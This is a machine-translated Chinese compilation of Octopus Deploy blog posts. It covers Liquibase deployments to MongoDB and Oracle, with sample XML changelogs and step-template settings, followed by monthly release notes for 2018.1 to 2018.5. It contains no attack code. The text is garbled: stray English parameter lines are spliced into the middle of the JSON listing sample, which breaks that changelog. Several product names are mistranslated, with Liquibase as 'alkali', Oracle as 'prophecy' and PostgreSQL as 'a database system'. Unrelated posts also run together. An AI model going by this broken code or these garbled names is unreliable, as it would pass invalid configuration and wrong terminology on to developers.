xmlns:ext="http://www.liquibase.org/xml/ns/dbchangelog-ext"
xsi:schemaLocation="http://www.liquibase.org/xml/ns/dbchangelog http://www.liquibase.org/xml/ns/dbchangelog/dbchangelog-3.6.xsd
http://www.liquibase.org/xml/ns/dbchangelog-ext http://www.liquibase.org/xml/ns/dbchangelog/dbchangelog-ext.xsd">
<changeSet id="1" author="alex">
<ext:createCollection collectionName="createCollectionWithValidatorAndOptionsTest">
<ext:options>
{
validator: {
$jsonSchema: {
bsonType: "object",
required: ["name", "address"],
properties: {
name: {
bsonType: "string",
description: "The Name"
},
address: {
bsonType: "string",
description: "The Address"
}
}
}
},
validationAction: "warn",
validationLevel: "strict"
}
</ext:options>
</ext:createCollection>
<ext:createCollection collectionName="createCollectionWithEmptyValidatorTest">
<ext:options>
</ext:options>
</ext:createCollection>
<ext:createCollection collectionName="createCollectionWithNoValidator"/>
</changeSet>
</databaseChangeLog>
类似地，向集合中插入数据的语法与 SQL 完全不同。您不是将行插入到表格中，而是将文档插入到集合中。
行和文档之间最大的区别在于，文档不必遵循相同的结构(或关系世界中的模式)，例外情况是集合上有一个验证器，如上所示。
本示例将两个具有不同结构的文档插入到同一集合中:
<databaseChangeLog
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:ext="http://www.liquibase.org/xml/ns/dbchangelog-ext"
xsi:schemaLocation="http://www.liquibase.org/xml/ns/dbchangelog http://www.liquibase.org/xml/ns/dbchangelog/dbchangelog-3.6.xsd
http://www.liquibase.org/xml/ns/dbchangelog-ext http://www.liquibase.org/xml/ns/dbchangelog/dbchangelog-ext.xsd">
<changeSet id="1" author="alex">
<ext:insertMany collectionName="insertManyTest1">
<ext:documents>
[
{ id: 2 },
{ id: 3,
address: { nr: 1, ap: 5}
}
]
</ext:documents>
</ext:insertMany>
</changeSet>
</databaseChangeLog>
使用 Liquibase 的 MongoDB 操作的更多示例可以在这个 GitHub repo 中找到。
在这篇文章中，我选择了 MongoDB samples 文档中的 AirBnB 示例。我的部署示例将一些数据插入到 Listings 集合中，并创建一个名为 Bookings 的附加集合。清单集合是在我的部署过程中创建的，这将在本文后面解释。
dbchangelog.xml
<?xml version="1.1" encoding="UTF-8" standalone="no"?>
<databaseChangeLog
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:ext="http://www.liquibase.org/xml/ns/dbchangelog-ext"
xsi:schemaLocation="http://www.liquibase.org/xml/ns/dbchangelog http://www.liquibase.org/xml/ns/dbchangelog/dbchangelog-3.6.xsd
http://www.liquibase.org/xml/ns/dbchangelog-ext http://www.liquibase.org/xml/ns/dbchangelog/dbchangelog-ext.xsd">
<changeSet id="1" author="Shawn.Sesna">
<ext:createCollection collectionName="Bookings">
</ext:createCollection>
</changeSet>
<changeSet id="2" author="Shawn.Sesna">
<ext:insertMany collectionName="Listings">
<ext:documents>
[
{
"_id": "10006546",
"listing_url": "https://www.airbnb.com/rooms/10006546",
"name": "Ribeira Charming Duplex",
"summary": "Fantastic duplex apartment with three bedrooms, located in the historic area of Porto, Ribeira (Cube)...",
"interaction": "Cot - 10 € / night Dog - € 7,5 / night",
"house_rules": "Make the house your home...",
"property_type": "House",
"room_type": "Entire home/apt",
"bed_type": "Real Bed",
"minimum_nights": "2",
"maximum_nights": "30",
"cancellation_policy": "moderate",
"last_scraped": {
"$date": {
"$numberLong": "1550293200000"
}
},
"calendar_last_scraped": {
"$date": {
"$numberLong": "1550293200000"
}
},
"first_review": {
"$date": {
"$numberLong": "1451797200000"
}
},
"last_review": {
"$date": {
"$numberLong": "1547960400000"
}
},
"accommodates": {
"$numberInt": "8"
},
"bedrooms": {
"$numberInt": "3"
},
"beds": {
"$numberInt": "5"
},
"number_of_reviews": {
"$numberInt": "51"
},
"bathrooms": {
"$numberDecimal": "1.0"
},
"amenities": [
"TV",
"Cable TV",
"Wifi",
"Kitchen",
"Paid parking off premises",
"Smoking allowed",
"Pets allowed",
"Buzzer/wireless intercom",
"Heating",
"Family/kid friendly",
"Washer",
"First aid kit",
"Fire extinguisher",
"Essentials",
"Hangers",
"Hair dryer",
"Iron",
"Pack ’n Play/travel crib",
"Room-darkening shades",
"Hot water",
"Bed linens",
"Extra pillows and blankets",
"Microwave",
"Coffee maker",
"Refrigerator",
"Dishwasher",
"Dishes and silverware",
"Cooking basics",
"Oven",
"Stove",
"Cleaning before checkout",
"Waterfront"
],
"price": {
"$numberDecimal": "80.00"
},
"security_deposit": {
"$numberDecimal": "200.00"
},
"cleaning_fee": {
"$numberDecimal": "35.00"
},
"extra_people": {
"$numberDecimal": "15.00"
},
"guests_included": {
"$numberDecimal": "6"
},
"images": {
"thumbnail_url": "",
"medium_url": "",
"picture_url": "https://a0.muscache.com/im/pictures/e83e702f-ef49-40fb-8fa0-6512d7e26e9b.jpg?aki_policy=large",
"xl_picture_url": ""
},
"host": {
"host_id": "51399391",
"host_url": "https://www.airbnb.com/users/show/51399391",
"host_name": "Ana Gonçalo",
"host_location": "Porto, Porto District, Portugal",
"host_about": "Gostamos de passear, de viajar, de conhecer pessoas e locais novos, gostamos de desporto e animais! Vivemos na cidade mais linda do mundo!!!",
"host_response_time": "within an hour",
"host_thumbnail_url": "https://a0.muscache.com/im/pictures/fab79f25-2e10-4f0f-9711-663cb69dc7d8.jpg?aki_policy=profile_small",
"host_picture_url": "https://a0.muscache.com/im/pictures/fab79f25-2e10-4f0f-9711-663cb69dc7d8.jpg?aki_policy=profile_x_medium",
"host_neighbourhood": "",
"host_response_rate": {
"$numberInt": "100"
},
"host_is_superhost": false,
"host_has_profile_pic": true,
"host_identity_verified": true,
"host_listings_count": {
"$numberInt": "3"
},
"host_total_listings_count": {
"$numberInt": "3"
},
"host_verifications": [
"email",
"phone",
"reviews",
"jumio",
"offline_government_id",
"government_id"
]
},
"address": {
"street": "Porto, Porto, Portugal",
"suburb": "",
"government_area": "Cedofeita, Ildefonso, Sé, Miragaia, Nicolau, Vitória",
"market": "Porto",
"country": "Portugal",
"country_code": "PT",
"location": {
"type": "Point",
"coordinates": [
{
"$numberDouble": "-8.61308"
},
{
"$numberDouble": "41.1413"
}
],
"is_location_exact": false
}
},
"availability": {
"availability_30": {
"$numberInt": "28"
},
"availability_60": {
"$numberInt": "47"
},
"availability_90": {
"$numberInt": "74"
},
"availability_365": {
"$numberInt": "239"
}
},
"review_scores": {
"review_scores_accuracy": {
"$numberInt": "9"
},
"review_scores_cleanliness": {
"$numberInt": "9"
},
"review_scores_checkin": {
"$numberInt": "10"
},
"review_scores_communication": {
"$numberInt": "10"
},
"review_scores_location": {
"$numberInt": "10"
},
"review_scores_value": {
"$numberInt": "9"
},
"review_scores_rating": {
"$numberInt": "89"
}
},
"reviews": [
{
"_id": "362865132",
"date": {
"$date": {
"$numberLong": "1545886800000"
}
},
"listing_id": "10006546",
"reviewer_id": "208880077",
"reviewer_name": "Thomas",
"comments": "Very helpful hosts. Cooked traditional..."
},
{
"_id": "364728730",
"date": {
"$date": {
"$numberLong": "1546232400000"
}
},
"listing_id": "10006546",
"reviewer_id": "91827533",
"reviewer_name": "Mr",
"comments": "Ana Goncalo were great on communication..."
},
{ - Server Name: Name or IP address of the MongoDB server
- Server Port: Port MongoDB is listening on
"_id": "403055315",
"date": {
"$date": {
"$numberLong": "1547960400000"
}
},
"listing_id": "10006546",
"reviewer_id": "15138940",
"reviewer_name": "Milo",
"comments": "The house was extremely well located..."
}
]
}
]
</ext:documents>
</ext:insertMany>
</changeSet>
</databaseChangeLog>
章鱼部署
用于部署到 MongoDB 的步骤模板与我用于 Oracle 的模板相同: Liquibase - Apply changeset 。该模板已经更新，将 MongoDB 作为可选的数据库类型。
我的部署项目由以下步骤组成:
创建 MongoDB 数据库
- 服务器名称:MongoDB 服务器的名称或 IP 地址
- 服务器端口:MongoDB 正在监听的端口
- 数据库名称:要创建的数据库的名称
- 初始集合:要创建的集合的名称
- 用户名:可以创建数据库和集合的帐户的用户名
- 密码:用户名的密码
- 创建 MongoDB 用户
- 服务器名称:MongoDB 服务器的名称或 IP 地址
- 服务器端口:MongoDB 正在监听的端口
- 管理员用户名:可以创建用户的帐户的用户名
- 管理员密码:管理员用户名的密码
- 用户名:要创建的帐户的用户名
- 密码:用户要创建的密码
- 添加或更新用户的角色
- 服务器名称:MongoDB 服务器的名称或 IP 地址
- 服务器端口:MongoDB 正在监听的端口
- 数据库名称:要授予角色的数据库的名称
- 管理员用户名:可以创建用户的帐户的用户名
- 管理员密码:管理员用户名的密码
- 角色:要分配的以逗号分隔的角色列表
- DBA 批准
- Liquibase -应用变更集
- Pro 许可证密钥:空
- 数据库类型:MongoDB
- 更改日志文件名:dbchangelog.xml
- 服务器名称:MongoDB 服务器的名称或 IP 地址
- 服务器端口:MongoDB 正在监听的端口
- 数据库名称:要应用更新的数据库的名称
- 用户名:有权更新数据库的用户名
- 密码:用户帐户的密码
- 连接查询字符串参数:
?authSource=admin - 数据库驱动程序路径:空
- 可执行文件路径:空
- 仅报告？:未选中(NoSQL 数据库不支持)
- 下载 Liquibase:已检查
- Liquibase 版本:空
- 变更集包:包含 dbchangelog.xml 的包
MongoDB 要求将Connection query string parameters参数设置为提供认证的数据库，比如上面显示的?authSource=admin。
可以在 Liquibase changelog 中创建数据库、集合和用户，以及为用户分配角色。如果对象还不存在，MongoDB 将简单地动态创建它们。将这些步骤分开是为了让那些不熟悉 MongoDB 工作方式的人更容易理解。
部署
部署完成后，我们可以使用 MongoDB Compass 来验证我们的数据库、集合和数据是否已经添加。
结论
在本文中，我展示了使用 Liquibase 和 Octopus Deploy 部署到 MongoDB 是多么容易。
观看网络研讨会
我们定期举办网络研讨会。请参见网络研讨会页面，了解过去的网络研讨会和即将举办的网络研讨会的详细信息。
https://www.youtube.com/embed/1nrxnF4LxGw
VIDEO
愉快的部署！
愉快的部署！
使用 Octopus Deploy 和 Liquibase - Octopus Deploy 部署到 Oracle
数据库部署通常是部署中最困难的部分。在本文中，我将向您展示如何使用 Octopus Deploy 通过 Liquibase 部署 Oracle 数据库。
液态碱
Liquibase 是一个基于迁移的数据库部署工具，类似于 Flyway 、 DbUp 和 RoundhousE 。Liquibase 的独特之处在于您如何定义迁移。
Flyway、DbUp 和 RoundhousE 依赖于用户自己编写 SQL 脚本，而 Liquibase 允许用户用 XML、JSON、YAML 以及所谓的changelog中的 SQL 来定义迁移。Liquibase 会在部署过程中将 changelog 转换为 SQL 语句。
示例项目:Sakila
Sakila 是一个最初为 MySQL 开发的示例数据库。这个项目包含许多不同的数据库对象，包括表、视图、存储过程和函数。这使它成为一个全面的例子。
为了支持其他数据库技术，我在我们的 Samples BitBucket 实例中创建了一个 repo，它包含了许多不同数据库技术和方法的 Sakila 项目。
变更日志
Octopus Deploy 中 Liquibase 的步骤模板以两种方式之一工作:
- 包装中包含 Liquibase。
- 只有变更日志文件。
在这篇文章中，我们打包了 changelog 文件:
dbchangelog.xml
章鱼部署
使用 Octopus Deploy，您可以包含 Liquibase 步骤模板来自动部署到 Oracle。这篇文章假设你已经熟悉了在 Octopus Deploy 中创建项目的,并且将涵盖 Liquibase 特有的步骤。
Liquibase 步骤模板
要添加 Liquibase 模板，请在 Octopus 项目的流程选项卡中单击添加步骤按钮:
【T2 
然后按liquibase过滤。该模板将出现在社区贡献的步骤模板部分。点击安装并添加(或者添加如果已经安装):
Liquibase 模板是专门为支持在能够下载运行所需的一切(包括 Java)的工作人员上运行而设计的。添加模板后，填写模板的字段。
数据库类型
选择要部署到的数据库类型。当前支持的类型有:
MariaDB
- MongoDB
- 关系型数据库
- 神谕
- 一种数据库系统
- SqlServer
- Liquibase 本身支持更多类型，但是它们还没有包含在模板中。
变更日志文件名
这是 changelog 文件的名称和/或在包中的相对位置。例如:
dbchangelog.xml
- /子文件夹/mychangelog。JSON
- 服务器名称
要部署到的服务器的名称、DNS 或 IP 地址。
服务器端口
数据库服务器监听的端口号。
数据库名称
要部署到的数据库的名称。
用户名
有权访问数据库的帐户的用户名。
密码
有权访问数据库的帐户的密码。
连接查询字符串参数
为连接字符串指定任何附加的查询字符串参数。比如:?useUnicode=true。
数据库驱动程序路径
包中用于连接数据库服务器的数据库驱动程序 jar 文件的路径。勾选下载 Liquibase 选项时不使用。
可执行文件路径
包中 Liquibase 可执行文件的路径。勾选下载 Liquibase 选项时不使用。
仅报告？
当您只想查看将用于部署的 SQL 时，使用此复选框。
步骤模板将自动附加。sql 文件作为部署的工件。当您需要有人在部署前检查更改时，这很有用。
下载 Liquibase？
如果您的部署包中不包含 Liquibase，请使用此选项。
该选项将下载社区版本的 Liquibase、Java 和数据库类型。执行部署所需的 jar 文件。这篇文章使用了这个选项。
Liquibase 版本
该选项仅用于下载 Liquibase 选项。
这指定了要下载的 Liquibase 的版本。留空以使用最新版本。
变更集包
这是用于部署的包选择器。
完成后，它应该看起来像这样:
部署流程
在这篇文章中，我添加了一些其他步骤来模拟真实世界的部署:
创建用户:如果数据库用户不存在，则创建该用户。
- 添加连接角色:为上述用户添加连接角色。
- 添加资源角色:为上述用户添加资源角色。
- 添加 DBA 角色:为上述用户添加 DBA 角色。
- 生成更改脚本:仅检查报告的 Liquibase 步骤，以生成将要运行的内容。
- DBA 批准:仅在生产中请求 DBA 批准。
- 应用变更集:应用变更的 Liquibase 步骤。
部署
执行时，部署结果将如下所示:
正如您所看到的，Report Only 步骤将ChangeSet.sql文件作为工件附加，可以在批准之前进行审查。展开Apply changeset步骤显示:
神谕
如果我们登录 Oracle，我们可以看到我们的数据库更新已被应用:
结论
Octopus Deploy 支持部署到许多数据库技术(Microsoft SQL Server、MariaDB、MySQL、Oracle、PostgreSQL 等。)以及许多不同的部署方法(DACPAC、DbUp、Flyway、Liquibase、RoundhousE 等。).我希望这篇文章能帮助您理解如何使用 Octopus 通过 Liquibase 部署到 Oracle 数据库。
愉快的部署！
愉快的部署！
八达通 1 月版 2018.1 -八达通部署
Octopus Deploy 的一月份发布主要是由 Octopus Cloud 驱动的安全发布，也将使我们在内部运行 Octopus Deploy 的每个客户受益。我们强烈建议升级。
您还会注意到我们新的版本控制策略:通常被称为章鱼的东西实际上是 T1。阅读更多关于为什么我们要改变的信息。
在这篇文章中
章鱼云
我们今年的一大驱动力是将我们的托管章鱼产品推向市场，名为 章鱼云 。我们将在接下来的几天里启动一个封闭的 Alpha 程序——感谢所有注册的人！
下一次开始使用章鱼云的机会将是在 2018 年 3 月我们的开放测试计划期间。今天就可以注册你对章鱼云的兴趣！
在公开测试之后，我们将正式推出章鱼云，今年晚些时候，我们将推出我们的数据中心版本。
了解更多章鱼云。
我们已经改变了我们的版本策略
阅读更多关于我们为什么改变的信息，这也是我们作为软件产品公司持续发展的一部分。
安全增强措施
为了准备章鱼云，我们已经进行了渗透测试和安全审计。没有发现大的问题，但是发现了一些我们想要修复的小问题。您可能已经在最近的补丁中看到了几个安全修复。这次发布的特性包含了所有的补丁，以及一些额外的增强功能，可以让你的 Octopus 服务器比以前更加安全。
新的内置角色和权限
Octopus 附带了几个内置的团队和用户角色，其中之一是Octopus Administrators团队，其角色System Administrator授予在 Octopus 安装中做任何事情的权利。
在 Octopus 2018.1中，我们有效地将Octopus Administrators团队和它的System Administrator用户角色分成了两部分:
- 我们保留了现有的
Octopus Administrators团队和System Administrator角色，它们的行为与今天完全相同 - 我们添加了一个新的
Octopus Managers团队和System Manager角色，他们可以做任何事情，除了为系统管理员保留的某些系统级功能
这对章鱼云来说很有意义:
- 我们的团队需要配置如何托管您的 Octopus 服务器——我们将成为
Octopus Administrators团队的成员。 - 我们不希望你因为改变主机配置而无意中破坏了你的 Octopus 服务器——你将被添加到
Octopus Managers团队中。
这种新的划分对于 Octopus 的大型安装来说是有意义的，在这种情况下，你希望在团队和他们的职责之间有更清晰的区分。
新权限
这些变化的基础是一些新的权限，您可以在自己的 Octopus 安装中使用:
- 添加
UserEdit是为了填补我们现有的直接编辑用户的权限结构中的空白——这以前需要AdministerSystem权限 ConfigureServer用于配置认证、SMTP 和 HTTP 安全头
升级体验
当你升级现有的八达通服务器，或开始全新安装八达通服务器时:
System Administrator用户角色将被自动授予新的权限(这与我们过去添加新权限时使用的过程相同)- 团队
Octopus Managers和System Manager角色将被自动创建并被授予适当的权限
积极防止特权升级(CVE-2018-5706)
内置用户角色对于大多数常见场景来说已经足够了。在 Octopus 的大规模安装中，人们倾向于定制这些用户角色，或者从头开始创建他们自己的用户角色。Octopus 中的权限系统非常强大，但是强大的功能也带来了额外的复杂性...和巨大的责任。在 Octopus 的早期版本中，如果您错误地配置了这些角色，您可能会意外地授予一个团队提升他们自己权限的能力。
Octopus 2018.1有一个额外的安全层，可以主动防止任何用户提升自己或其他用户的权限，使其超出当前权限范围。
进一步了解本期。
分步包装要求
默认情况下，Octopus 在需要包的部署的第一步之前立即执行包获取。现在可以将步骤配置为在包获取之前或之后运行。步骤条件Run this step已被替换为Package requirement:
上一篇: 
新增: 
新的Package requirement允许更明确地配置关于包获取的步骤何时运行。有三个选项可供选择:
Let Octopus Decide(默认):可以在该步骤运行之前或之后获取包- Octopus 将确定最佳时间After package acquisition:该步骤运行前将获取包Before package acquisition:该步骤运行后将获取包
此选项在没有意义时隐藏，例如，当脚本步骤被配置为在包步骤之后运行时(此时必须获取包)。
这些选项在配置复杂的并行部署过程时提供了更大的灵活性，以确保在期望的时间获得包。您现在可以配置一个生成包的并行步骤块，并使用选项Before package acquisition来确保这些包可以被后续的包步骤使用。
重大变化
我们对 Octopus 做了两个行为上的改变，这可能会影响某些客户。
升级
像往常一样，升级 Octopus Deploy 的步骤适用。更多信息请参见发行说明。
包裹
这个月到此为止。我们希望你有一个美妙的节日，并找到有用的新功能。欢迎给我们留下评论，让我们知道你的想法！前进并展开！
介绍我们的第一个长期支持版本-Octopus Server 2018.10 LTS-Octopus Deploy
章鱼服务器2018.10 LTS是我们长期支持项目 (LTS)的第一个版本。它提供六个月的长期支持，我们向大多数自主托管客户推荐此版本。
现在就可以下载章鱼服务器 2018.10 LTS ！
我们的 LTS 版本将与每三个月一个新的 LTS 版本一起处于慢车道，所有版本都有六个月的支持。我们还将继续大约每月发布一次新版本，LTS 版本之间的版本将是我们包含最新功能的快车道版本。
使用 Octopus Cloud 的客户始终处于快速通道中，我们会代表您进行升级，您可以提前获得最新的功能。
在我们的上一篇博文中了解更多关于我们 LTS 项目的信息。这篇文章有一个 Q & A 部分来帮助你理解我们的发布如何最适合你的情况。
2018.10 LTS 有哪些特点？
章鱼服务器2018.10 LTS和2018.9本质上是一样的。它配备了工人和工人池、 Kubernetes 支持，以及我们到目前为止所做的一切，包括少量的性能和安全工作。
重大变化
我们没有引入任何突破性的变化，但是2018.10 LTS将是最后一个支持从旧版本升级的版本。了解如何升级旧版本的章鱼。
我应该什么时候安装 2018.10 LTS？
没有比现在更好的时机了！你现在可以升级到八达通服务器2018.10 LTS。我们已经有成千上万的客户顺利升级到了2018.9，升级到2018.10 LTS也是从相同的代码中截取的。
现在就可以下载章鱼服务器 2018.10 LTS ！
我应该避免升级，继续使用当前版本吗？
请升级！为了你我双方的利益，我们希望你能更新你的八达通服务器。您将受益于最高质量、最佳性能、最安全的 Octopus 服务器，而我们将受益于支持的 Octopus 服务器版本的减少。这是双赢的局面！
- 如果您正在使用八达通云，我们会为您更新，您将始终处于快速通道中，可以提前获得最新功能。
- 如果您使用自托管 Octopus 服务器，我们建议您使用 LTS 版本。
- 当我们发布补丁时，像
2018.10.1 LTS，你应该修补你的八达通服务器——升级比不修补你的八达通服务器风险更小。 - 当我们与 LTS 一起发布新版本时，只要您的当前版本仍在我们的 LTS 计划范围内，您就可以选择继续使用它，但是我们建议尽可能与当前版本保持一致。
- 当我们发布补丁时，像
- 如果您正在使用自托管章鱼服务器，但决定留在快车道上，我们强烈建议像章鱼云一样保持最新。这给了我们支持你的最好机会。我们正在寻找使升级比以往任何时候都更容易的选项-联系我们的支持团队，获得自动化升级的帮助。如果你不想和章鱼云保持同步，也许 LTS 版本对你来说是个更好的选择。
当你发布像 2018.10.1 LTS 这样的补丁时，我应该安装它吗？
当然，是的！我们将使用这个经验法则来决定在 LTS 版本的补丁中包含什么:**安装一个补丁应该比不安装更安全。**我们将在 LTS 补丁中包含某些内容，例如:
- 我们发现了一个安全漏洞，这将导致我们提出 CVE 报告。
- 我们发现了一个无法解决的问题。
- 我们发现了一个仅在当前 LTS 版本中存在的问题。
- 我们发现了一些对修补有商业意义的东西。
当我们发现这样的情况时，我们会为 LTS 仍然覆盖的任何版本发布一个补丁。
我们不会:
- 船舶数百 LTS 补丁-我们希望稳定和高信噪比。
- 在 LTS 补丁中提供新功能。
- LTS 板块的拆船变化。
我是不是应该留在快车道，而不是安装 2018.10 LTS，转入慢车道？
通过引入 LTS 计划，我们给你权利选择在快车道还是慢车道升级。这是您必须根据您的情况做出的决定。了解换道。
我们通常建议自托管客户选择 LTS 版本，通过安装2018.10 LTS，您将切换到慢车道。
如果这听起来像你的场景，你应该选择 LTS 的慢车道版本:
- “比起拥有最新的功能，我们更喜欢稳定性。”
- “我们大约每三个月升级一次 Octopus。”
- “在升级我们的生产设备之前，我们在测试环境中评估 Octopus。”
如果这听起来像你的场景，你应该选择快车道发布:
- "我们希望最新和最大的功能和小的改进和错误修复真正快速周转."
- “我们希望与 Octopus 团队紧密合作，这样我们就可以帮助他们构建世界上最好的自动化工具！”
就算我不升级你还会支持我吗？
当然，是的！与 Octopus 服务器版本保持同步是互利的，但是我们将尽我们最大的能力支持所有 Octopus 用户，不管你运行的是哪个版本。如果我们代表你修复了一个 bug，无论如何你都需要升级来修复这个 bug。保持现状符合每个人的最佳利益！
包扎
八达通服务器的 LTS 已经到来，你可以放心。长期部署愉快！
了解更多信息
八达通 2018 年 2 月发布-八达通部署
Octopus 2018.2 带来了许多令人兴奋的新功能，包括部署发布版本的步骤，部署 AWS CloudFormation 模板、删除现有 CloudFormation 堆栈以及使用 AWS CLI 运行脚本的能力。
在这篇文章中
发布之旅
https://www.youtube.com/embed/W2FMvpe3NyA
VIDEO
AWS 支持
此版本引入了与 AWS 相关的 3 个新步骤。
第一个允许针对 AWS CLI 运行自定义脚本。Octopus 提供了 AWS 凭证和 AWS CLI 本身，使得作为部署的一部分与 AWS 资源进行交互变得容易。
另外两个步骤允许您部署 CloudFormation 模板和删除现有的 CloudFormation 堆栈。Octopus 负责参数和输出，并允许您部署直接在步骤中输入的或来自外部包的 CloudFormation 模板。
协调项目与部署发布步骤
一段时间以来，我们最受欢迎的用户之声建议之一是协调多个 Octopus 项目的能力，让一个项目触发另一个项目的部署。
在这个版本中，我们自豪地介绍了部署发布步骤。
我们希望这将支持许多强大的多项目场景。
外来工人
到目前为止，运行在服务器上的步骤的脚本是作为 Octopus 服务器的子进程运行的，并且在它的安全上下文中。上个月，我们发布了改变运行这些脚本的用户账户的功能。
这个月，我们引入了第二种选择，外来人员。这个特性允许您安装一个触手(或使用一个现有的触手)来运行所有涉及用户脚本或包的运行在服务器上的步骤。一旦配置完成，Octopus 服务器运行脚本的能力将被禁用，所有用户提供的脚本和包都将在该触手上运行。
这是我们正在进行的工人功能工作的一部分。管道中的下一个部分是工人与服务器的捆绑。这将作为默认的工人(又名内置工人)，并允许我们删除所有运行在服务器上的脚本执行代码。
大型仪表板的改进
我们还想强调一个小但重要的变化，这是对大型 Octopus 实例的一个很好的补充。如果您有大量的环境或租户，您的控制面板很难阅读，通常需要水平滚动才能看到更多内容。好消息是，我们已经用固定的第一列和标题更新了仪表板，因此它们更容易阅读和使用。
审计日志的改进
当被其他资源引用的资源被删除时，我们现在将记录它们是如何以及为什么改变的，其中一个关键是对项目变量的改变。还有一些其他资源类型现在正在接受审计和/或更详细的审计。
重大变化
如果您使用旧版本的Octopus.Client.dll来访问/api/feeds/all，那么现在将会出错。你将需要更新到 Octopus 的> = 4.30.7。客户端。原因是我们为 Octopus 项目的发布添加了一个新的 feed 类型，以支持新的部署发布步骤。
改进我们的软件包 API
在对一些即将到来的新提要类型的预期中，我们不得不重新审视我们如何为外部提要公开软件包 API，以及我们如何为部署存储缓存的软件包。除非您直接点击 Octopus API 来搜索外部提要，或者依赖于缓存包的特定命名，否则对您几乎没有影响。更改包缓存名称的一个副作用是，服务器和 tentacles 上的当前包缓存将不再被检查，因此新的部署将使用新的包名称。有关这些变化的更多详细信息，请参见 GitHub tickets“Packages API 不符合我们扩展提要类型# 4114”和“修改缓存命名格式以允许新提要格式# 4211”。
升级
包裹
这个月到此为止。欢迎给我们留下评论，让我们知道你的想法！前进并展开！
八达通 2018 年 3 月发布-八达通部署
这个月，我们大大改进了对代码为的基础设施的支持，释放了一些难以置信的部署自动化和基础设施自动化场景。Octopus 2018.3引入了对 GitHub 库的支持，如 feeds 和一流的 Terraform 支持，以及一些令人敬畏的小功能，如部署变量预览和突出显示消息/工件。请继续阅读所有激动人心的细节！
在这篇文章中
发布之旅
https://www.youtube.com/embed/D2ZclLWko18
VIDEO
非常感谢杰里米·凯德分享他的 Terraform 脚本来帮助我们发布巡回视频。
GitHub 存储库提要类型
添加 GitHub 存储库作为 feed 类型意味着您现在可以部署外部资源，而不需要专门的预构建步骤。通过使用标记来表示版本，运行直接从源代码控制中提取的脚本、模板或简单应用程序。在我们的 Git Hub Feed 文档中阅读更多内容，了解更多关于使用这种新的 Feed 类型的信息。
地形支撑
此版本包括两个新步骤:应用 Terraform 模板和销毁 Terraform 资源。这些步骤允许 Terraform 模板作为 Octopus 部署项目的一部分执行，并集成了对变量替换和输出变量捕获的支持。有关这些新步骤的更多信息，请参考文档。
部署变量预览
项目现在支持预览在部署过程中为特定部署上下文(包括环境、部署目标、步骤等)提供的变量值。
这是 Octopus 社区高度要求的功能的一部分，我们很高兴能发布它。
突出显示消息和工件
现在，您可以编写出现在“任务”页面的“任务摘要”选项卡上的日志消息。这些消息现在也会在任务日志中以蓝色和粗体显示，而不会隐藏在<n> additional lines not shown文件夹下。我们增加了助手来记录这个级别(highlight)。参考文档了解脚本中使用的语法。
添加了另一个日志级别wait，以指示部署正在等待什么(例如执行互斥)。这些消息在日志中也以不同的颜色显示。它主要由 Octopus 在内部使用，但是您也可以在这个级别登录。将来，我们计划添加一个时间线视图，它将使用这个级别的日志消息来显示部署暂停的时间。
附件现在也将出现在收集它们的步骤下，但与消息不同，它们只在步骤完成后出现，因为工件收集只在步骤结束时出现。
升级
像往常一样，升级 Octopus Deploy 的步骤适用。更多信息请参见发行说明。
包裹
这个月到此为止。欢迎给我们留下评论，让我们知道你的想法！前进并展开！
从属库和扩展
下表列出了可用于此版本 Octopus 的库和扩展的版本。
Bamboo 用户必须更新由 Bamboo 插件执行的 Octopus CLI 工具。更多细节参见文档。
| 库名 | 版本 |
|---|---|
| 章鱼。客户 | 4.31.1 |
| 团队城市扩展 | 4.31.1 |
| Team Foundation Server | 2.0.98 |
八达通 2018 年 4 月发布-八达通部署
这个月，我们的头条功能是定期计划部署，这是我们最受欢迎的功能之一，我们很高兴能够发布它。我们还发布了一个新的一流的 AWS S3 步骤，使使用亚马逊 Web 服务更容易，我们还添加了根据需要设置步骤的功能，因此它不能被跳过。
在这篇文章中
发布之旅
https://www.youtube.com/embed/AR45wMd1_8o
VIDEO
定期计划部署
Octopus 长期以来一直支持调度部署。您可以简单地指定何时执行一个部署，但是这只能工作一次。我们新的定期计划部署功能让您可以随时触发部署。这可能是将一个版本部署到您的测试或 QA 环境中进行日常测试，每周五下午 5 点部署您的最新稳定版本，甚至是在不使用虚拟基础架构时按计划启动和拆除虚拟基础架构以节省资金...比如晚上和周末。
当我们按照时间表交付以运营为中心的维护流程时，这将变得更加强大。请关注这篇博客，了解更多关于即将推出的功能的信息。
一流的亚马逊网络服务 S3 支持
我们正在通过添加一个一级 S3 步骤来继续改进我们的亚马逊网络服务(AWS)支持。这极大地简化了将包/文件放入 S3 桶以及在 AWS 生态系统中使用它们的过程。
必需的步骤
部署过程步骤可以在部署时跳过。这非常方便，但是有时您可能希望避免跳过特定的步骤。手动干预步骤是一个明显的例子(如果责任被限制到指定的团队，它们实际上已经不能被跳过)。其他示例可能是发送通知或运行验证流程的步骤。
对于 2018.4，您可以根据需要标记一个步骤，它将没有资格被跳过。
这解决了以下用户语音请求:
重大变化
自动发布创建(ARC)现在会在选择包时强制实施通道约束。因为渠道可以约束包来排除预发布包，所以我们将使用渠道规则来防范预发布包，并在默认情况下启用预发布包选择。这意味着自动发布创建可以开始为在没有渠道规则的渠道中创建的发布选择预发布包，这不同于现有的行为，是一个突破性的变化。
要继续只选择稳定的包进行自动发布创建，请设置创建自动发布的通道，以将包限制为没有预发布标签的包(预发布标签为^$)。
升级
升级 Octopus Deploy 的步骤照常适用。更多信息请参见发行说明。
包裹
这个月到此为止。欢迎给我们留下评论，让我们知道你的想法！前进并展开！
八达通可能发布 2018.5 -八达通部署
这个月，我们发布了下一代 Azure support。Octopus 2018.5捆绑了最新的 Azure SDK 和 Powershell 模块，为 Azure Web 应用程序、云服务和服务结构集群引入了新的部署目标，并添加了使用 PowerShell Cmdlets 在 Octopus 中动态管理它们的能力。
在这篇文章中
发布之旅
https://www.youtube.com/embed/raepkFD7kx8
VIDEO
Azure 的 PaaS 目标
该版本重新引入了被建模为部署目标的 Azure Web 应用和 Azure 云服务，并将 Azure 服务架构集群引入部署目标家族。这提高了您的基础架构和环境的可见性，使您能够轻松部署到多个目标/区域，并开启新的侧重运营的任务，如服务运行状况检查等。
有关 PaaS 目标的更多信息，请阅读介绍这些想法的博客文章。
管理八达通基础设施
我们最初实现 Azure Web App 目标的一个问题是没有简单的方法来根据需要动态创建它们。你可以很容易地创建 Azure Web 应用程序，但是 Octopus 需要手动步骤来用 Octopus 表示它们。
现在，使用我们新的内置 PowerShell Cmdlets，您可以像创建 Azure 资源一样轻松地创建这些新的 PaaS 目标。
